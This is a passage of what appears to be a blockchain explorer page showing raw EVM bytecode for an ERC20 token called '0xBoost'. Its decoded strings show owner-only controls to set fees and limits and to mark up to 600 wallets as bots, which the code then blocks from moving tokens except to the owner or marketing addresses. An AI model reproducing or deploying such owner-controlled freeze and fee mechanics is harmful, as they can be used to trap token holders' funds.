fffffffffffffffffffffff161480610a2157506109eb610e70565b73ffffffffffffffffffffffffffffffffffffffff16610a096117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b80610a805750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a686117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b610a8957600080fd5b6000479050610a97816123ac565b50565b6000610ae4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612418565b9050919050565b610af36117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7790613534565b60405180910390fd5b610258815110610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc906135c6565b60405180910390fd5b60005b8151811015610c5c576000828281518110610be657610be56135e6565b5b602002602001015190506000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550508080610c5490613644565b915050610bc8565b5050565b610c686117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec90613534565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dbb6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f90613534565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea16117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2590613534565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f424f4f5354000000000000000000000000000000000000000000000000000000815250905090565b610f966117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90613534565b60405180910390fd5b8060188190555050565b6110356117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b990613534565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b60006110f86110f16117b5565b8484611986565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111436117b5565b73ffffffffffffffffffffffffffffffffffffffff16148061119e5750611168610e70565b73ffffffffffffffffffffffffffffffffffffffff166111866117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b806111fd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111e56117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b61120657600080fd5b600061121130610a9a565b905061121c81612486565b50565b6112276117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ab90613534565b60405180910390fd5b60005b838390508110156113535781600560008686858181106112da576112d96135e6565b5b90506020020160208101906112ef9190612e8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061134b90613644565b9150506112b7565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e86117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c90613534565b60405180910390fd5b6102588151106114ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b1906135c6565b60405180910390fd5b60005b81518110156115515760008282815181106114db576114da6135e6565b5b602002602001015190506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061154990613644565b9150506114bd565b5050565b61155d6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e190613534565b60405180910390fd5b8060178190555050565b6115fc6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090613534565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef906136fe565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390613790565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361189b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189290613822565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197991906130a0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ec906138b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5b90613946565b60405180910390fd5b60008111611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906139d8565b60405180910390fd5b611aaf610e70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1d5750611aed610e70565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204757601560149054906101000a900460ff16611bac57611b3e610e70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba290613a6a565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c585750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5057601654811115611ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9990613ad6565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d4f5760175481611d0484610a9a565b611d0e9190613af6565b10611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590613b9c565b60405180910390fd5b5b5b601560149054906101000a900460ff1615611ec057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580611e0b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611e485750611e19610e70565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611e80575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb690613c54565b60405180910390fd5b5b6000611ecb30610a9a565b9050600060185482101590506016548210611ee65760165491505b808015611efe575060158054906101000a900460ff16155b8015611f585750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f705750601560169054906101000a900460ff165b8015611fc65750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561201c5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120445761202a82612486565b6000479050600081111561204257612041476123ac565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120ee5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121a15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121a05750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121af5760009050612336565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561225a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227257600954600d81905550600a54600e819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561231d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561233557600b54600d81905550600c54600e819055505b5b612342848484846126fd565b50505050565b6000838311158290612390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123879190612f7f565b60405180910390fd5b506000838561239f9190613c74565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612414573d6000803e3d6000fd5b5050565b600060075482111561245f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245690613d1a565b60405180910390fd5b600061246961272a565b905061247e818461275590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124bd576124bc6131cd565b5b6040519080825280602002602001820160405280156124eb5781602001602082028036833780820191505090505b5090503081600081518110612503576125026135e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ce9190613d4f565b816001815181106125e2576125e16135e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264930601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bd565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126ad959493929190613e75565b600060405180830381600087803b1580156126c757600080fd5b505af11580156126db573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061270b5761270a61279f565b5b6127168484846127dc565b80612724576127236129a7565b5b50505050565b60008060006127376129bb565b9150915061274e818361275590919063ffffffff16565b9250505090565b600061279783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a17565b905092915050565b6000600d541480156127b357506000600e54145b6127da57600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127ee87612a7a565b95509550955095509550955061284c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061292d81612b8a565b6129378483612c47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299491906130a0565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600066470de4df82000090506129ed66470de4df82000060075461275590919063ffffffff16565b821015612a0a5760075466470de4df820000935093505050612a13565b81819350935050505b9091565b60008083118290612a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a559190612f7f565b60405180910390fd5b5060008385612a6d9190613efe565b9050809150509392505050565b6000806000806000806000806000612a978a600d54600e54612c81565b9250925092506000612aa761272a565b90506000806000612aba8e878787612d17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612348565b905092915050565b6000808284612b3b9190613af6565b905083811015612b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7790613f7b565b60405180910390fd5b8091505092915050565b6000612b9461272a565b90506000612bab8284612da090919063ffffffff16565b9050612bff81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c5c82600754612ae290919063ffffffff16565b600781905550612c7781600854612b2c90919063ffffffff16565b6008819055505050565b600080600080612cad6064612c9f888a612da090919063ffffffff16565b61275590919063ffffffff16565b90506000612cd76064612cc9888b612da090919063ffffffff16565b61275590919063ffffffff16565b90506000612d0082612cf2858c612ae290919063ffffffff16565b612ae290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d308589612da090919063ffffffff16565b90506000612d478689612da090919063ffffffff16565b90506000612d5e8789612da090919063ffffffff16565b90506000612d8782612d798587612ae290919063ffffffff16565b612ae290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612db25760009050612e14565b60008284612dc09190613f9b565b9050828482612dcf9190613efe565b14612e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e069061404f565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e5982612e2e565b9050919050565b612e6981612e4e565b8114612e7457600080fd5b50565b600081359050612e8681612e60565b92915050565b600060208284031215612ea257612ea1612e24565b5b6000612eb084828501612e77565b91505092915050565b60008115159050919050565b612ece81612eb9565b82525050565b6000602082019050612ee96000830184612ec5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f29578082015181840152602081019050612f0e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612f5182612eef565b612f5b8185612efa565b9350612f6b818560208601612f0b565b612f7481612f35565b840191505092915050565b60006020820190508181036000830152612f998184612f46565b905092915050565b6000819050919050565b612fb481612fa1565b8114612fbf57600080fd5b50565b600081359050612fd181612fab565b92915050565b60008060408385031215612fee57612fed612e24565b5b6000612ffc85828601612e77565b925050602061300d85828601612fc2565b9150509250929050565b6000819050919050565b600061303c61303761303284612e2e565b613017565b612e2e565b9050919050565b600061304e82613021565b9050919050565b600061306082613043565b9050919050565b61307081613055565b82525050565b600060208201905061308b6000830184613067565b92915050565b61309a81612fa1565b82525050565b60006020820190506130b56000830184613091565b92915050565b6000806000606084860312156130d4576130d3612e24565b5b60006130e286828701612e77565b93505060206130f386828701612e77565b925050604061310486828701612fc2565b9150509250925092565b600060ff82169050919050565b6131248161310e565b82525050565b600060208201905061313f600083018461311b565b92915050565b61314e81612e4e565b82525050565b60006020820190506131696000830184613145565b92915050565b61317881612eb9565b811461318357600080fd5b50565b6000813590506131958161316f565b92915050565b6000602082840312156131b1576131b0612e24565b5b60006131bf84828501613186565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61320582612f35565b810181811067ffffffffffffffff82111715613224576132236131cd565b5b80604052505050565b6000613237612e1a565b905061324382826131fc565b919050565b600067ffffffffffffffff821115613263576132626131cd565b5b602082029050602081019050919050565b600080fd5b600061328c61328784613248565b61322d565b905080838252602082019050602084028301858111156132af576132ae613274565b5b835b818110156132d857806132c48882612e77565b8452602084019350506020810190506132b1565b5050509392505050565b600082601f8301126132f7576132f66131c8565b5b8135613307848260208601613279565b91505092915050565b60006020828403121561332657613325612e24565b5b600082013567ffffffffffffffff81111561334457613343612e29565b5b613350848285016132e2565b91505092915050565b60006020828403121561336f5761336e612e24565b5b600061337d84828501612fc2565b91505092915050565b600080600080608085870312156133a05761339f612e24565b5b60006133ae87828801612fc2565b94505060206133bf87828801612fc2565b93505060406133d087828801612fc2565b92505060606133e187828801612fc2565b91505092959194509250565b600080fd5b60008083601f840112613408576134076131c8565b5b8235905067ffffffffffffffff811115613425576134246133ed565b5b60208301915083602082028301111561344157613440613274565b5b9250929050565b60008060006040848603121561346157613460612e24565b5b600084013567ffffffffffffffff81111561347f5761347e612e29565b5b61348b868287016133f2565b9350935050602061349e86828701613186565b9150509250925092565b600080604083850312156134bf576134be612e24565b5b60006134cd85828601612e77565b92505060206134de85828601612e77565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061351e602083612efa565b9150613529826134e8565b602082019050919050565b6000602082019050818103600083015261354d81613511565b9050919050565b7f43616e206f6e6c79206d61726b203630302077616c6c6574732070657220747860008201527f6e2064756520746f20676173206c696d69747300000000000000000000000000602082015250565b60006135b0603383612efa565b91506135bb82613554565b604082019050919050565b600060208201905081810360008301526135df816135a3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061364f82612fa1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361368157613680613615565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136e8602683612efa565b91506136f38261368c565b604082019050919050565b60006020820190508181036000830152613717816136db565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061377a602483612efa565b91506137858261371e565b604082019050919050565b600060208201905081810360008301526137a98161376d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061380c602283612efa565b9150613817826137b0565b604082019050919050565b6000602082019050818103600083015261383b816137ff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061389e602583612efa565b91506138a982613842565b604082019050919050565b600060208201905081810360008301526138cd81613891565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613930602383612efa565b915061393b826138d4565b604082019050919050565b6000602082019050818103600083015261395f81613923565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139c2602983612efa565b91506139cd82613966565b604082019050919050565b600060208201905081810360008301526139f1816139b5565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613a54603f83612efa565b9150613a5f826139f8565b604082019050919050565b60006020820190508181036000830152613a8381613a47565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ac0601c83612efa565b9150613acb82613a8a565b602082019050919050565b60006020820190508181036000830152613aef81613ab3565b9050919050565b6000613b0182612fa1565b9150613b0c83612fa1565b9250828201905080821115613b2457613b23613615565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b86602383612efa565b9150613b9182613b2a565b604082019050919050565b60006020820190508181036000830152613bb581613b79565b9050919050565b7f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60008201527f72206f75742065786365707420746f206f776e65722c206d61726b6574696e6760208201527f2c206f72206465616420616464726573732e0000000000000000000000000000604082015250565b6000613c3e605283612efa565b9150613c4982613bbc565b606082019050919050565b60006020820190508181036000830152613c6d81613c31565b9050919050565b6000613c7f82612fa1565b9150613c8a83612fa1565b9250828203905081811115613ca257613ca1613615565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613d04602a83612efa565b9150613d0f82613ca8565b604082019050919050565b60006020820190508181036000830152613d3381613cf7565b9050919050565b600081519050613d4981612e60565b92915050565b600060208284031215613d6557613d64612e24565b5b6000613d7384828501613d3a565b91505092915050565b6000819050919050565b6000613da1613d9c613d9784613d7c565b613017565b612fa1565b9050919050565b613db181613d86565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613dec81612e4e565b82525050565b6000613dfe8383613de3565b60208301905092915050565b6000602082019050919050565b6000613e2282613db7565b613e2c8185613dc2565b9350613e3783613dd3565b8060005b83811015613e68578151613e4f8882613df2565b9750613e5a83613e0a565b925050600181019050613e3b565b5085935050505092915050565b600060a082019050613e8a6000830188613091565b613e976020830187613da8565b8181036040830152613ea98186613e17565b9050613eb86060830185613145565b613ec56080830184613091565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f0982612fa1565b9150613f1483612fa1565b925082613f2457613f23613ecf565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f65601b83612efa565b9150613f7082613f2f565b602082019050919050565b60006020820190508181036000830152613f9481613f58565b9050919050565b6000613fa682612fa1565b9150613fb183612fa1565b9250828202613fbf81612fa1565b91508282048414831517613fd657613fd5613615565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614039602183612efa565b915061404482613fdd565b604082019050919050565b600060208201905081810360008301526140688161402c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122026f3fe21dd3a3442560a23f81e42d38295ae3e1989644f2dffc32998757e4ca964736f6c6343000813003300000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000005

Deployed Bytecode

0x6080604052600436106101d15760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063dd62ed3e11610064578063dd62ed3e1461065d578063e1d9888f1461069a578063ea1644d5146106c3578063f2fde38b146106ec576101d8565b8063a2a957bb146105b7578063a9059cbb146105e0578063c3c8cd801461061d578063c492f04614610634576101d8565b80638f70ccf7116100d15780638f70ccf71461050f5780638f9a55c01461053857806395d89b411461056357806398a5c3151461058e576101d8565b80637d1db4a51461047c5780637f2feddc146104a75780638da5cb5b146104e4576101d8565b8063313ce5671161016f57806370a082311161013e57806370a08231146103d6578063713318c114610413578063715018a61461043c57806374010ece14610453576101d8565b8063313ce5671461034057806349bd5a5e1461036b5780636d8aa8f8146103965780636fc3eaec146103bf576101d8565b80631694505e116101ab5780631694505e1461028257806318160ddd146102ad57806323b872dd146102d85780632fd689e314610315576101d8565b8063017e0192146101dd57806306fdde031461021a578063095ea7b314610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b5061020460048036038101906101ff9190612e8c565b610715565b6040516102119190612ed4565b60405180910390f35b34801561022657600080fd5b5061022f610735565b60405161023c9190612f7f565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190612fd7565b610772565b6040516102799190612ed4565b60405180910390f35b34801561028e57600080fd5b50610297610790565b6040516102a49190613076565b60405180910390f35b3480156102b957600080fd5b506102c26107b6565b6040516102cf91906130a0565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906130bb565b6107c5565b60405161030c9190612ed4565b60405180910390f35b34801561032157600080fd5b5061032a61089e565b60405161033791906130a0565b60405180910390f35b34801561034c57600080fd5b506103556108a4565b604051610362919061312a565b60405180910390f35b34801561037757600080fd5b506103806108ad565b60405161038d9190613154565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b8919061319b565b6108d3565b005b3480156103cb57600080fd5b506103d4610985565b005b3480156103e257600080fd5b506103fd60048036038101906103f89190612e8c565b610a9a565b60405161040a91906130a0565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190613310565b610aeb565b005b34801561044857600080fd5b50610451610c60565b005b34801561045f57600080fd5b5061047a60048036038101906104759190613359565b610db3565b005b34801561048857600080fd5b50610491610e52565b60405161049e91906130a0565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190612e8c565b610e58565b6040516104db91906130a0565b60405180910390f35b3480156104f057600080fd5b506104f9610e70565b6040516105069190613154565b60405180910390f35b34801561051b57600080fd5b506105366004803603810190610531919061319b565b610e99565b005b34801561054457600080fd5b5061054d610f4b565b60405161055a91906130a0565b60405180910390f35b34801561056f57600080fd5b50610578610f51565b6040516105859190612f7f565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b09190613359565b610f8e565b005b3480156105c357600080fd5b506105de60048036038101906105d99190613386565b61102d565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612fd7565b6110e4565b6040516106149190612ed4565b60405180910390f35b34801561062957600080fd5b50610632611102565b005b34801561064057600080fd5b5061065b60048036038101906106569190613448565b61121f565b005b34801561066957600080fd5b50610684600480360381019061067f91906134a8565b611359565b60405161069191906130a0565b60405180910390f35b3480156106a657600080fd5b506106c160048036038101906106bc9190613310565b6113e0565b005b3480156106cf57600080fd5b506106ea60048036038101906106e59190613359565b611555565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612e8c565b6115f4565b005b60066020528060005260406000206000915054906101000a900460ff1681565b60606040518060400160405280600781526020017f3078426f6f737400000000000000000000000000000000000000000000000000815250905090565b600061078661077f6117b5565b84846117bd565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066470de4df820000905090565b60006107d2848484611986565b610893846107de6117b5565b61088e8560405180606001604052806028815260200161407060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108446117b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123489092919063ffffffff16565b6117bd565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108db6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f90613534565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffff